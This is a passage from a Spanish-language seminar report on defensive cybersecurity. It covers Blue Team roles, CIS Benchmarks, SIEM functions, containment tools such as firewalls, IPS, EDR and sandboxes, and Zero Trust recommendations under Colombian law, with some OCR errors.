- Parcheo de sistermas afectados.

- Restauracion de datos y sistemas desde
respaldos.

Fuente: Elaboracion Propia.
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lustracion 192 Diferencias entre el equipo Blueteam y el equipo de respuesta a incidentes

Equipo de Respuesta a Incidentes e

Estrategia

Colaboracién con otros
equipos

Herramientas utilizadas

Impacto en la organizacidn

Formacion y habilidades

Duracidn del trabajo

Ejemplo de tareas

Proactiva: Prevenir incidentes antes
de que ocurran.

- Trabaja estrechamente con el
equipo de gestion de

wvulnerabilidades y el equipo de

infraestructura.

- Herramientas de monitoreo
continuo (SIEM, IDS/IPS).

- Evita interrupciones al prevenir
intrusiones.

- Conocimiento en seguridad de
redes, firewalls, y enrutamiento.

Continuo: Actividades diarias para
mantener la seguridad.

- Actualizacion de politicas de
seguridad.

- Formacion peridodica del personal.

Reactiva: Responder a un incidente
cuando ya se ha producido.

- Colabora con forenses, Tly Blueteam
para resolver elincidente.

- Herramientas de analisis forense
{(Wireshark, Volatility).

- Minimiza los danos y permite la
recuperacion post-incidente.

- Conocimiento en analisis forense,
mitigacion de amenazas y recuperacion
de sistemas.

Limitado: Respuesta a incidentes
especificos, con un enfoque a corto plazo.

- Respuesta ante un atague ransomware
en cCurso.
- Contencidén de un ataque APT (Advanced

Persistent Threat). =

Fuente: Elaboracion Propia.

.Si dentro de un equipo Blueteam le indican que debe trabajar con CIS “;Center For

Internet Security”, usted lo utilizaria para qué fin?

Si dentro de un equipo Blueteam se me indica que debo trabajar con CIS (Center for

Internet Security), lo utilizaria principalmente con los siguientes fines:

Por supuesto, aqui tienes una version aun mas pulida y estructurada del texto:

Misién de CIS:

o Identificar proactivamente las amenazas cibernéticas emergentes y las vulnerabilidades

criticas.

o Desarrollar marcos y estandares de seguridad avanzados gque garanticen una proteccion

integral.

o Validar y optimizar las mejores practicas en ciberseguridad para asegurar su efectividad

continua.
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e Promover y mantener un compromiso global con la excelencia en ciberseguridad a través
de la educacion y la concienciacion.

Brindar soluciones de seguridad de clase mundial que permitan a las organizaciones
prevenir, detectar y responder con rapidez y eficacia a los incidentes cibernéticos.

Fomentar y liderar comunidades colaborativas que construyan un entorno de confianza,
cooperacion y resiliencia en el ciberespacio, donde la seguridad digital sea un esfuerzo
colectivo(CIS, 2024a).

1. Hardening de Sistemas y Reduccion de Vulnerabilidades
e Aplicar los CIS Benchmarks: Utilizaria los CIS Benchmarks especificos para los
sistemas operativos y aplicaciones en uso (por ejemplo, Windows, Linux, macOS,
servidores web, etc.) para asegurar que todos los sistemas estén configurados de manera
segura desde su instalacién inicial. Esto incluye:
o Desactivar servicios innecesarios que puedan ser explotados por atacantes.
o Reforzar configuraciones de seguridad criticas como politicas de contrasefias,
controles de acceso y auditoria de eventos.
2. Mejora de la Postura de Seguridad Global
e Implementar los CIS Controls: Son un conjunto de 20 medidas especificas que ayudan a
mitigar las amenazas mas comunes y criticas. Los usaria para evaluar y mejorar la
seguridad general de la infraestructura, tales como:
o Control de hardware y software: Mantener un inventario completo de
dispositivos y aplicaciones para garantizar que solo los autorizados estén presentes

en la red(CIS, 2024a).
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o Gestion de vulnerabilidades: Identificar y corregir vulnerabilidades conocidas

antes de que sean explotadas.

3. Prevencion de Ataques Comunes

Refuerzo de la seguridad en servicios criticos: Utilizando las mejores practicas
recomendadas por los CIS, reforzaria los servicios y protocolos mas utilizados, como:

o SMB: Implementando configuraciones de seguridad adecuadas (por ejemplo,
deshabilitar SMBvV1 y utilizar SMB Signing).

o HTTP y HTTPS: Asegurando que las comunicaciones web estén cifradas
correctamente con TLS y protegiendo los servidores web contra ataques comunes
(Ashcraft, 2023).

o Autenticacion de red: Refuerzo de las politicas de autenticacion mediante la
implementacion de MFA (Autenticacién Multifactor) y desactivacion de protocolos

inseguros como NTLM (NIST, 2024).

4. Auditorias y Evaluaciones Continuas de Seguridad

Realizar auditorias periddicas: Utilizar los CIS Benchmarks como una base para realizar
auditorias regulares y evaluaciones de seguridad en la infraestructura, asegurando que
todos los sistemas sigan las mejores practicas de seguridad definidas.

Mejora continua: Con el fin de identificar nuevas amenazas y vulnerabilidades,
implementaria un proceso continuo de evaluacion y ajuste de las configuraciones de
seguridad, basado en las actualizaciones de los CIS Benchmarks y los CIS Controls (CIS,

2024¢).
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5. Fortalecimiento de la Resiliencia frente a Incidentes

e Preparacion ante incidentes: Los CIS Controls también proporcionan un enfoque integral
para mejorar la gestion de incidentes y la respuesta ante amenazas, lo que me permitiria
fortalecer la resiliencia del equipo Blueteam ante posibles ciberincidentes.

e Monitoreo y respuesta: Estableceria mecanismos de monitoreo continuo para detectar
actividades sospechosas y responder rapidamente a incidentes de seguridad en tiempo real.
Trabajar con CIS me permitiria fortalecer las defensas de la infraestructura tecnoldgica a

través de un enfoque estructurado y basado en las mejores practicas recomendadas por el Center
for Internet Security. Las medidas de hardening, junto con la gestion de vulnerabilidades y el
refuerzo de configuraciones criticas, asegurarian que la organizacion esté mejor protegida contra
una amplia gama de amenazas. Ademas, permitiria una mejora continua de la postura de seguridad
y fortaleceria la capacidad de respuesta ante incidentes (CIS, 2024c).

Explique y redacte las funciones y caracteristicas principales de lo que es un SIEM.

Un SIEM (Security Information and Event Management) es una herramienta clave en la
ciberseguridad que proporciona una vision integral de la seguridad de la infraestructura de una
organizacion, mediante la recopilacion, el analisis y la correlacion de eventos y datos de seguridad
provenientes de diversas fuentes, como dispositivos de red, servidores, aplicaciones, bases de
datos, y sistemas operativos. Su principal funcién es detectar, monitorear y responder a incidentes
de seguridad en tiempo real (Microsoft, 2024b).

Funciones Principales de un SIEM:

1. Recopilacién de datos (Data Collection):

o Captura de eventos: Un SIEM recopila informacion de diferentes dispositivos y

sistemas en la infraestructura de la organizacion, como firewalls, IDS/IPS,
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antivirus, servidores, aplicaciones y bases de datos.

Diversidad de fuentes: Los datos pueden provenir de logs de sistemas operativos,
dispositivos de red, aplicaciones de seguridad, dispositivos de red (routers,
switches), entre otros.

Normalizacion de eventos: Los eventos recopilados, que a menudo tienen
diferentes formatos y protocolos, son normalizados para ser procesados y

analizados uniformemente (Microsoft, 2024b).

2. Almacenamiento y conservacion de datos (Data Storage):

o

Centralizacion de la informacion: ElI SIEM almacena de manera centralizada
todos los logs y eventos de seguridad, lo que facilita su acceso y analisis.

Cumplimiento de normativas: Ademas, puede cumplir con las normativas de
retencion de datos de seguridad, almacenando informacion durante un periodo
determinado, dependiendo de los requisitos legales y las politicas de la

organizacion (Microsoft, 2024b).

3. Correlacion de eventos (Event Correlation):

o

o

Identificacion de patrones de amenazas: A través de la correlacidn de eventos,
un SIEM puede identificar patrones de comportamiento que indican actividades
maliciosas o incidentes de seguridad.

Analisis de comportamiento: Correlaciona diferentes eventos de diversas fuentes
(por ejemplo, un intento fallido de inicio de sesion en un servidor junto con trafico
inusual hacia una base de datos) para detectar posibles ataques como intrusiones,
intentos de escalada de privilegios, acciones de malware, entre otros (Microsoft,

2024b).

245



4. Analisis en tiempo real (Real-time Analysis):

o

o

Deteccion de incidentes en tiempo real: EI SIEM permite detectar y analizar
eventos de seguridad en tiempo real, lo que ayuda a identificar amenazas de
inmediato y actuar con rapidez.

Alertas y notificaciones: Cuando se detecta un evento sospechoso o un patron que
podria representar un ataque, el SIEM genera alertas automaticas y notificaciones

para el equipo de seguridad.

5. Gestidn de incidentes (Incident Management):

o

Notificacion de incidentes: En el momento en que se detecta un incidente, el SIEM
envia alertas a los administradores de seguridad o equipos de respuesta a incidentes,
lo que les permite tomar medidas rapidamente.

Prioridad de alertas: Las alertas generadas por el SIEM pueden clasificarse segln
su gravedad, lo que ayuda a priorizar la respuesta de acuerdo con la criticidad del

incidente (Microsoft, 2024b).

6. Informesy auditoria (Reporting and Auditing):

o

Generacion de informes de seguridad: EI SIEM proporciona la capacidad de
generar informes detallados sobre la actividad de seguridad, el rendimiento de los
sistemas, los incidentes detectados y las acciones tomadas, lo que es util para la
gestion, el cumplimiento de normativas y la toma de decisiones.

Cumplimiento normativo: Ayuda a cumplir con normativas de seguridad y
auditorias internas o externas al proporcionar informes sobre la actividad de

seguridad, la deteccion de incidentes y la respuesta (Microsoft, 2024b).
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7. Respuesta automatizada a incidentes (Automated Response):

o Automatizacion de acciones: Algunos SIEM permiten automatizar respuestas ante
ciertos tipos de incidentes, como bloquear una direccion IP sospechosa, activar un
firewall o ejecutar scripts de mitigacion cuando se detecta un ataque.

o Integracion con otros sistemas de seguridad: Se puede integrar con otras
herramientas de seguridad, como firewalls, antivirus, EDR (Endpoint Detection
and Response) y IPS/IDS, para automatizar respuestas y mejorar la capacidad de
defensa (Microsoft, 2024b).

Caracteristicas Principales de un SIEM:
1. Centralizacion:

o Recolecta datos de seguridad desde una amplia variedad de fuentes y los centraliza

para su analisis y gestion.
2. Correlacion de eventos:

o Detecta y analiza eventos en conjunto para identificar amenazas méas complejas,

que pueden no ser evidentes en eventos aislados.
3. Escalabilidad:

o Es capaz de manejar grandes volimenes de datos de multiples fuentes y escalarlas

conforme a las necesidades de la organizacion.
4. Analisis y visualizacion:

o Ofrece capacidades de analisis visual para interpretar grandes cantidades de datos

de forma intuitiva, como dashboards y graficos.
5. Cumplimiento de normativas:

o Proporciona la capacidad de generar informes para asegurar el cumplimiento de
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normativas.

6. Deteccion de anomalias:

o Analiza el comportamiento de la red y de los usuarios para detectar actividades
fuera de lo comdn, lo que ayuda a identificar posibles ataques de dia cero o
amenazas internas(Microsoft, 2024b).

7. Facilidad de integracion:

o ElI SIEM se integra facilmente con otros sistemas de seguridad y herramientas en
la infraestructura de TI para proporcionar una defensa mas cohesionada.
Beneficios de un SIEM:

e Mejor visibilidad: Permite a los equipos de seguridad obtener una vision mas clara de los
eventos y amenazas en la red, facilitando la toma de decisiones informadas.

o Respuestas mas rapidas: Al detectar incidentes en tiempo real, un SIEM permite una
respuesta rapida y eficaz a las amenazas.

e Reduccion de riesgos: Ayuda a identificar vulnerabilidades antes de que sean explotadas,
reduciendo el riesgo general para la infraestructura de TI.

e Cumplimiento normativo: Facilita el cumplimiento de regulaciones mediante la
recoleccion, almacenamiento y analisis adecuado de los datos de seguridad (Microsoft,
2024b).

Finalmente, un SIEM es una herramienta critica en la gestion de la seguridad,
proporcionando monitoreo en tiempo real, deteccion de amenazas, correlacién de eventos, y
respuestas automatizadas para mejorar la postura de seguridad de una organizacion. Facilita la
deteccion temprana de incidentes, la gestion de riesgos y el cumplimiento normativo, lo que es

esencial para proteger la infraestructura y los datos criticos (Microsoft, 2024b).
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Defina por lo menos 3 herramientas de contencion de ataques informaticos “hardware o
software”, recuerde que las herramientas de contencion son diferentes a las herramientas de
deteccion.

Las herramientas de contencion son aquellas que se utilizan para mitigar, bloguear o limitar
el impacto de un ataque en curso, impidiendo que el atacante continle operando o propagandose
dentro de la red, mientras que las herramientas de deteccidn solo identifican la presencia de la
amenaza.

A continuacion, presento las tres herramientas de contencion (hardware y software) que
cumplen con estas caracteristicas:

1. Firewall de Nueva Generacién (NGFW - Next-Generation Firewall) - Tipo:
Hardware/Software
Funcion:

Un NGFW es un dispositivo de seguridad de red que no solo realiza el filtrado de trafico
basico, sino que también incluye funcionalidades avanzadas como inspeccién profunda de
paquetes (DPI), prevencion de intrusiones (IPS) y la capacidad de detectar aplicaciones
especificas. Los NGFW son capaces de identificar, bloquear y controlar el trafico de la red en
tiempo real, filtrando amenazas potenciales antes de que lleguen a los sistemas internos.
Contencion:

e Bloqueo de trafico malicioso: Un NGFW puede bloquear automaticamente el trafico
malicioso proveniente de direcciones IP o puertos sospechosos, aislando el trafico no
autorizado o malicioso.

e Prevencion de movimiento lateral: Si se detecta un ataque en un segmento de la red, el

NGFW puede aislar ese segmento de la red, evitando que el ataque se propague.
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o Reduccion de superficie de ataque: Al limitar el acceso a ciertos servicios o puertos, los
NGFW previenen accesos no autorizados y mitigan los ataques, como DDoS o intrusiones
especificas.

2. Sistemas de Prevencion de Intrusiones (IPS - Intrusion Prevention System) -Tipo:

Hardware/Software

Funcion:

El IPS es una herramienta de contencidn que se ubica entre la red interna 'y externa y analiza
el trafico en tiempo real para identificar y bloquear intrusiones y ataques. A diferencia de los
sistemas de deteccion (IDS), que solo alertan sobre un incidente, el IPS tiene la capacidad de
bloquear activamente las amenazas antes de que lleguen a la infraestructura interna.

Contencion:

e Bloqueo automatico: En cuanto se detecta un ataque o actividad sospechosa, el IPS puede
bloquear automaticamente la fuente del ataque (por ejemplo, una direccion IP maliciosa) o
interrumpir el trafico malicioso, evitando que el atacante continle explotando la
vulnerabilidad.

« Aislamiento de trafico: En algunos casos, el IPS puede aislar el trafico proveniente de una
fuente comprometida, redirigiéndolo a un sistema de analisis o bloguedndolo
completamente.

o Mitigacion de ataques de explotacion: Impide que un atacante aproveche una

vulnerabilidad conocida, como en el caso de ataques de SQL injection o buffer overflow.
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3. Endpoint (EDR - Endpoint Detection and Response) - Tipo: Software
Funcion:

Las herramientas EDR (Deteccion y Respuesta en Endpoints) estan disefiadas para
monitorear, detectar y contener amenazas directamente en los dispositivos de usuario final
(computadoras, servidores, dispositivos méviles). Estas herramientas no solo ayudan a detectar
ataques, sino que también permiten la contencion activa de las amenazas una vez identificadas.
Contencion:

e Aislamiento de dispositivos comprometidos: Un EDR puede aislar un dispositivo
comprometido de la red, impidiendo que el atacante se propague a otros sistemas.

e Bloqueo de procesos maliciosos: EI EDR puede detener automaticamente procesos
maliciosos en ejecucidn (como malware o herramientas de hacking), limitando su impacto
y evitando dafios mayores.

o Contencion de movimiento lateral: En caso de un ataque de escala de privilegios o
movimiento lateral, el EDR puede revocar privilegios en los sistemas afectados y restringir
el acceso a recursos criticos.

4. Sandbox - Entorno Aislado Tipo: Software.

Funcion:

Las sandbox (entornos aislados) estan disefiadas para ejecutar, analizar y probar
programas y cddigos sospechosos o desconocidos en un entorno controlado sin poner en riesgo
el sistema operativo o la red principal. Su principal ventaja es la capacidad de contener

cualquier actividad maliciosa, evitando que afecte al resto del sistema.
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Contencion:

Ejecucion Segura de Programas: Una sandbox permite ejecutar programas en un entorno

seguro, analizando su comportamiento sin riesgo para el sistema principal.

Analisis de Malware: Los analistas de seguridad pueden utilizar sandbox para ejecutar y

estudiar malware, identificando sus acciones sin comprometer la seguridad del sistema.

Desarrollo y Pruebas de Software: Desarrolladores pueden probar y depurar aplicaciones

en un entorno aislado, asegurando que los cambios no afecten al entorno de produccion.

Pruebas de Configuracion: Cambios en la configuracion del sistema o red pueden ser

probados en una sandbox para observar sus efectos sin impacto en el entorno principal.

lustracion 193 Herramientas de contencion de ataques informaticos

|__Herramienta_|____Tipo | FunciénPrincipal _| __Contencién _|

Firewall de Nueva
Generacion (NGFW)

Sistemas de
Prevencidn de
Intrusiones (IPS)

Herramientas de
Contencidn de
Endpoint (EDR)

Sandbox

Hardware/Software

Hardware/Software

Software

Software

Filtrado de trafico,
inspeccion profunda de
paquetes, IPS.

Detecciony prevencion
de intrusiones en tiempo
real.

Monitoreo yrespuesta a
incidentes en dispositivos
finales (endpoints).

Aislamiento y analisis de
archivos sospechosos en
un entorno controlado.

Fuente: Elaboracion Propia.

Bloqueo de trafico
malicioso, aislamiento de
segmentos
comprometidos.
Bloqueo de conexiones
maliciosas, interrupcién
de trafico explotado.
Aislamiento de
dispositivos
comprometidos, bloqueo
de procesos maliciosos.
Prevencién de
propagacion de malware,
analisis de
comportamiento
malicioso sin riesgo para
el sistema principal.
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6.5 ASPECTOS QUE APORTAN AL DESARROLLO DE ESTRATEGIAS DE

REDTEAM & BLUETEAM.

Colaboracion y comunicacion efectiva entre equipos:

Las estrategias de RedTeam y BlueTeam requieren una interaccién constante para
identificar, explotar y mitigar vulnerabilidades de manera eficaz. La implementacion de
enfoques Purple Team mejora significativamente esta dinamica al combinar la ofensiva y
defensiva en simulaciones controladas.

La comunicacion efectiva entre los equipos RedTeam y BlueTeam es esencial para el
desarrollo de estrategias robustas. Los enfoques Purple Team, donde ambos equipos
trabajan juntos, mejoran la eficacia de las simulaciones al combinar tacticas ofensivas y
defensivas. Esto no solo permite identificar vulnerabilidades, sino también evaluar la

capacidad de respuesta del BlueTeam en tiempo real.

Uso de herramientas avanzadas, evaluacion continua de vulnerabilidades:

y entornos simulados:

Herramientas como Metasploit, Nmap, Nessus, Burp Suite y Splunk permiten evaluar con
precision las debilidades de los sistemas, tanto desde la perspectiva ofensiva como
defensiva.

Las herramientas avanzadas, como Nessus y Metasploit, permiten realizar evaluaciones
profundas de los sistemas. EI RedTeam utiliza estas herramientas para simular ataques
reales, mientras que el BlueTeam implementa soluciones proactivas y reactivas basadas en
los resultados.

Configurar entornos virtuales como VirtualBox con Windows 7 y Kali Linux ayuda a los

equipos a realizar pruebas realistas sin poner en riesgo los sistemas productivos. Estos
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laboratorios son esenciales para ensayar tacticas ofensivas y defensivas antes de aplicarlas
en entornos reales.
Emplear la estrategia de Zero Trust
El modelo Zero Trust es una estrategia que mejora considerablemente las interacciones
entre los equipos Red Team y Blue Team al desafiar las creencias tradicionales de confianza en
las redes. Basado en el principio de "nunca confies, siempre verifica", este enfoque refuerza las
estrategias tanto ofensivas como defensivas de las siguientes maneras:
Para el Red Team:

e Simulacion de entornos reales y desafiantes: Al implementar Zero Trust, las
organizaciones elevan la dificultad para los atacantes mediante controles avanzados como
la microsegmentacion, la autenticacion multifactor y politicas de acceso estrictas. Esto
obliga al Red Team a desarrollar técnicas mas avanzadas para descubrir vulnerabilidades
y probar la resistencia de las medidas de seguridad (Akamai, s. f.-a).

o Descubrimiento de puntos ciegos: La naturaleza restrictiva de Zero Trust revela
configuraciones inadecuadas, permisos excesivos o aplicaciones mal segmentadas,
permitiendo al Red Team identificar areas de mejora para reducir la superficie de ataque.

Para el Blue Team:

o Refuerzo de la deteccion y respuesta: Zero Trust proporciona herramientas defensivas
como monitoreo continuo, validacion estricta de identidades y alertas en tiempo real,
facilitando la contencidn proactiva de ataques antes de que afecten la infraestructura critica.

e Prevencion y visibilidad integral: Al asegurar que todas las transacciones en la red sean
inspeccionadas y autenticadas, el modelo permite una deteccion temprana de actividades

anomalas, mejorando la respuesta a incidentes simulados por el Red Team (Akamai, s. f.-

254



a).

El modelo Zero Trust promueve una colaboracion efectiva entre el Red Team y el Blue
Team, ayudando a crear escenarios mas realistas y a desarrollar estrategias de mitigacion mas
efectivas que alineen las medidas defensivas con las tacticas ofensivas (Akamai, s. f.-a).
Analisis post-accion:

e Documentar cada simulacién, ataque o respuesta permite identificar fallos y areas de
mejora. Este conocimiento acumulado se convierte en una guia para perfeccionar futuras
estrategias.

Adopcidn de inteligencia de amenazas:

e Incorporar fuentes de inteligencia, como reportes de amenazas emergentes, permite a
ambos equipos anticiparse a nuevos vectores de ataque. Esta practica mejora la
adaptabilidad y la preparacion estratégica.

Cumplimiento normativo y ético:

o Las estrategias deben alinearse con las regulaciones locales, como la Ley 1273 de 2009 y
el CONPES 3854, para garantizar practicas responsables y legales.

e Incorporar auditorias internas y externas asegura que las actividades respeten las politicas
organizacionales y los marcos regulatorios.

Andlisis continuo de amenazas:

o Estrategias dinamicas basadas en inteligencia de amenazas permiten a ambos equipos

ajustar sus tacticas en tiempo real, optimizando la proteccidn contra ataques emergentes.
Capacitacion y especializacion técnica:
e La formacion continua en nuevas herramientas, técnicas de ataque y defensa, y

actualizaciones normativas fortalece la capacidad de respuesta de ambos equipos.
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6.6 RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESREATEGIAS
QUE PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN UNA
ORGANIZACION.

Estandarizacion basada en normativas:

e Alinear las estrategias con estandares internacionales como la ISO/IEC 27001 para
gestionar riesgos de manera eficiente. En Colombia, garantizar el cumplimiento con la Ley
1273 de 2009 y el Decreto 338 de 2022 refuerza la confianza en la seguridad de la
organizacion.

Implementar defensa en profundidad:

o Utilizar una combinacion de firewalls, sistemas de deteccion de intrusos (IDS/IPS),
segmentacion de redes y autenticacion multifactor (MFA) para proteger cada capa de la
infraestructura.

Basado en el analisis de las actividades descritas en el documento, el modelo Zero Trust
emerge como una estrategia esencial para reforzar los controles de seguridad en las organizaciones.
Sus principales recomendaciones incluyen:

Autenticacion Multifactor (MFA)

e Laimplementacién de la autenticacion multifactor asegura que el acceso a los sistemas sea
restringido incluso si un atacante obtiene credenciales validas. Esto es crucial en
actividades como la simulaciéon de phishing, donde el Blue Team puede utilizar estas
medidas como primera linea de defensa.

Microsegmentacion de la Red
e Dividir la red en segmentos mas pequefios y seguros limita el movimiento lateral que un

atacante puede realizar tras comprometer un sistema. Esto es particularmente relevante en
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las actividades relacionadas con el movimiento lateral y la explotacidn de vulnerabilidades,
subrayando la importancia de reducir el alcance de los atacantes (Akamai, s. f.-a).
Monitoreo y Registro del Trafico de Red

e El modelo Zero Trust requiere una visibilidad completa. El uso de herramientas como
Wireshark y Nessus, mencionadas en el informe, debe complementarse con un monitoreo
continuo para detectar patrones anémalos y fortalecer la postura defensiva.

Modelo de Privilegios Minimos

e Cada usuario y sistema debe tener solo los permisos necesarios para cumplir su funcion, lo
que limita el dafio potencial en caso de una brecha. Las actividades de post-explotacion
ilustraron como el abuso de permisos elevados puede agravar un incidente.

e Integrar estas recomendaciones dentro de una estrategia de Zero Trust mejora la capacidad
de las organizaciones para prevenir, detectar y responder a amenazas cibernéticas,
fortaleciendo asi la seguridad general (Akamai, s. f.-a).

Fortalecimiento de la gestion de accesos:

o Implementar controles estrictos de acceso basados en roles (RBAC) y monitorear
actividades sospechosas en tiempo real. Herramientas como SIEM centralizan el anélisis
de eventos de seguridad, acelerando la deteccion y respuesta a incidentes.

Adoptar un enfoque basado en riesgos:

e Priorizar los recursos en la mitigacion de vulnerabilidades de mayor impacto para la

organizacion. Realizar andlisis regulares con herramientas como Nessus 0 OpenVVAS para

evaluar riesgos.
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Fomentar la cultura de ciberseguridad:

o Capacitar a todos los empleados en buenas préacticas, como la identificacion de correos de
phishing y la proteccion de contrasefias.

e Involucrar a todos los niveles organizacionales en simulacros de ataques y ejercicios de
respuesta a incidentes.

Fortalecer los protocolos de respuesta a incidentes:

o Desarrollar y probar regularmente planes de recuperacion ante desastres y gestion de

incidentes basados en normas como la ISO/IEC 27035.
Resiliencia operativa:

o Disefar planes de continuidad del negocio y recuperacién ante desastres. Probar
regularmente estos planes asegura que la organizacion pueda recuperarse rapidamente de
un ataque cibernético.

Integrar sistemas de monitoreo centralizado:

o Utilizar herramientas SIEM (como por ejemplo Splunk) para analizar eventos de seguridad

en tiempo real, permitiendo una deteccidn y respuesta mas rapida a incidentes.
Asegurar el cumplimiento normativo:

o Garantizar que las politicas internas se alineen con estandares internacionales (ISO/IEC
27001) y normativas locales, como la Ley 1581 de 2012 sobre proteccion de datos
personales.

Promover auditorias continuas:
o Realizar pruebas de penetracion periodicas y evaluaciones de seguridad con la

participacion de equipos RedTeam y BlueTeam.
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Recomendaciones adicionales

1. Técnicas (Red Team y Blue Team)

Implementar anélisis de vulnerabilidades continuos con herramientas automatizadas como
Nessus 0 OpenVAS, para identificar y abordar riesgos antes de que sean explotados.
Mejorar la técnica de movimiento lateral en las simulaciones del Red Team para emular
atagques avanzados y detectar brechas criticas en la segmentacion de redes.

Disefiar ejercicios de contencion en tiempo real, liderados por el Blue Team, que incluyan
la gestion simultanea de mdltiples incidentes simulados.

Priorizar el uso de MFA (Autenticacion Multifactor) y monitoreo de endpoints (EDR) en

la infraestructura organizacional para mitigar accesos no autorizados.

2. Legalesy de cumplimiento normativo

Establecer un marco claro de gobernanza en ciberseguridad que cumpla con normativas
locales e internacionales, como 1SO 27001, la Ley 1273 de 2009 en Colombia.

Revisar periodicamente los acuerdos de confidencialidad y las politicas de uso aceptable
de la organizacion, asegurando que no contengan clausulas vulnerables a interpretacion.
Documentar las estrategias aplicadas en el seminario como base para crear manuales

internos de respuesta a incidentes y auditorias legales futuras.

3. Operativas y organizacionales

Establecer un CSIRT (Computer Security Incident Response Team) interno en la
organizacion, con protocolos claros para deteccion, analisis y respuesta ante amenazas.
Disefiar simulaciones de escenarios personalizados para éareas especificas de la
organizacion, como ataques dirigidos a sistemas financieros o bases de datos sensibles.

Realizar pruebas de "ingenieria social” anuales, enfocadas en identificar debilidades
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humanas, como el phishing, y mejorar la capacitacion del personal.

4. Formaciony sensibilizacion

Desarrollar un plan de capacitacion continua para el personal que incluya talleres practicos
de defensa activa y manejo de herramientas como Wireshark, Metasploit y Mimikatz.
Crear campafias internas de concienciacion en ciberseguridad para los empleados no
técnicos, con énfasis en el reconocimiento de correos electronicos y sitios web
fraudulentos.

Fomentar la participacion en foros y eventos especializados de ciberseguridad (como
OWASP o conferencias locales), donde los equipos puedan aprender sobre amenazas

emergentes.

5. Monitoreo y mejora continua

Implementar un programa de revision mensual de logs y eventos mediante herramientas
SIEM, como Splunk o AlienVault, para asegurar un monitoreo proactivo.

Introducir simulaciones regulares de ataques con herramientas como Cobalt Strike para
evaluar continuamente la preparacion del Red Team y Blue Team.

Crear un repositorio interno de casos de estudio y anélisis de incidentes para evaluar las

tendencias de amenazas cibernéticas especificas del sector.
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6.7 CONCLUSONES QUE PERMITAN LA CONSTRUCCION DEL

CONOCIMIENTO DESDE EL ENFOQUE DE LA CIBERSEGURIDAD.
La ciberseguridad como un proceso integral:

e RedTeam y BlueTeam representan dos caras de la misma moneda: mientras el primero
explora como romper las defensas, el segundo las refuerza. Esta interaccion es clave para
construir estrategias integrales y fomentar un enfoque adaptativo frente a las amenazas.

El seminario especializado en ciberseguridad permiti¢ identificar maltiples vectores de
ataque y vulnerabilidades comunes en entornos organizacionales. En este contexto, el modelo
Zero Trust emerge como una herramienta fundamental para construir un conocimiento estratégico
y operativo.

o Fortalecimiento de la seguridad proactiva: Zero Trust se alinea con las actividades
realizadas durante el seminario, enfatizando un enfoque preventivo que va mas alla de los
controles tradicionales. Al implementar principios como la verificacion continua y la
segmentacion, las organizaciones pueden adelantarse a los atacantes (Akamai, s. f.-a).

« Capacitacion integrada para equipos Red Team y Blue Team: Este enfoque fomenta la
preparacion en ambos equipos para escenarios altamente restrictivos, desarrollando
habilidades préacticas que abordan desde la explotacion de vulnerabilidades hasta la
contencion y mitigacion.

« Construccion de una mentalidad resiliente: Zero Trust ensefia a los profesionales de la
ciberseguridad que la confianza implicita en los sistemas es un error critico. Su integracion
en los ejercicios del seminario promueve un cambio de mentalidad hacia una postura

defensiva mas robusta y adaptable frente a nuevas amenazas.
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Incorporar Zero Trust como eje central en las estrategias de ciberseguridad no solo refuerza
la capacidad de las organizaciones para defenderse de ataques complejos, sino que también
consolida un marco normativo y ético para la gestion de la seguridad digital.

Importancia de la formacion continua:

o La rapida evolucion de las amenazas digitales exige un aprendizaje constante en nuevas

técnicas, herramientas y estandares normativos.
Necesidad de enfoques adaptativos:

e La construccion del conocimiento en ciberseguridad requiere estrategias dinamicas
basadas en la inteligencia de amenazas y en la evolucion constante de los vectores de
ataque.

El conocimiento como ventaja competitiva:

o Documentar los hallazgos de simulaciones y auditorias permite a las organizaciones crear
bases de conocimiento que sirvan como referencia para futuras estrategias. Esto también
ayuda a estandarizar procedimientos y a reducir errores en el manejo de incidentes.

Impacto del cumplimiento normativo:

o Alinear las estrategias de ciberseguridad con marcos legales y éticos no solo protege a las
organizaciones de sanciones, sino que también fomenta la confianza de los clientes y partes
interesadas.

La importancia del marco normativo:

e Lasnormativas, como la Ley 1273 de 2009 y la Ley 1581 de 2012, establecen lineamientos

claros que guian el comportamiento ético y legal de los profesionales de ciberseguridad.

Incorporar estas leyes en las estrategias fortalece la confianza de clientes y socios.
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Relevancia de la colaboracion interdepartamental:

o La integracidn de equipos multidisciplinarios en ejercicios de ciberseguridad fomenta una

comprension mas amplia de los riesgos, facilitando soluciones integrales y efectivas.
Adaptabilidad ante un panorama cambiante:

e La construccion del conocimiento no se detiene: las estrategias deben ser revisadas y
ajustadas regularmente en funcién de nuevas amenazas y tecnologias emergentes. Esto
asegura que la organizacion se mantenga un paso adelante frente a los atacantes.

La ética como pilar de la ciberseguridad:

o Mas alla de las herramientas y técnicas, la ética profesional es crucial para garantizar que
las estrategias de ciberseguridad respeten la privacidad y los derechos de todas las partes
involucradas.

Enlace video de la sustentacion

https://www.youtube.com/watch?v=CEelV4ljVbM
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https://www.youtube.com/watch?v=CEeIV4IjVbM

7. CONCLUSIONES

Las actividades realizadas demostraron la importancia de la colaboracion entre los equipos
Red Team y Blue Team para fortalecer la ciberseguridad organizacional. La simulacion de
escenarios reales permitio identificar vulnerabilidades criticas y aplicar estrategias efectivas para

su mitigacion, fortaleciendo asi la postura defensiva frente a amenazas avanzadas.

Se destaco la relevancia de trabajar dentro de un marco legal y ético, ajustandose a
normativas como la Ley 1273 de 2009 y estandares internacionales. Esto asegura que las
estrategias aplicadas no solo sean efectivas, sino también alineadas con las leyes de proteccién de

datos y confidencialidad.

El uso de herramientas como Metasploit, Nmap, Mimikatz y otras, en conjunto con técnicas
de pentesting, proporciond un entendimiento profundo de los métodos ofensivos y defensivos en
ciberseguridad. Esto permitié no solo reforzar habilidades técnicas, sino también desarrollar un

enfoque préactico orientado a la resolucion de problemas.

Las estrategias analizadas y aplicadas durante el seminario permitieron desarrollar
recomendaciones concretas para fortalecer la resiliencia de las infraestructuras tecnologicas frente
a ciberataques. Ademas, se generaron propuestas que integran soluciones técnicas, legales y
operativas para enfrentar los retos de la ciberseguridad en un entorno dindmico y en constante

evolucién.

A lo largo del seminario, se lograron consolidar competencias técnicas, legales y
estratégicas necesarias para la ejecucion de pruebas de seguridad y la contencion de incidentes.
Esto refleja la preparacion adecuada para abordar escenarios reales de ciberseguridad, con una

vision integral y adaptativa.
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Las lecciones aprendidas refuerzan la importancia de adoptar un enfoque preventivo en
lugar de reactivo. Esto incluye la implementacion de medidas como simulaciones periodicas,
monitoreo continuo y auditorias externas, las cuales garantizan una proteccion integral y adaptada

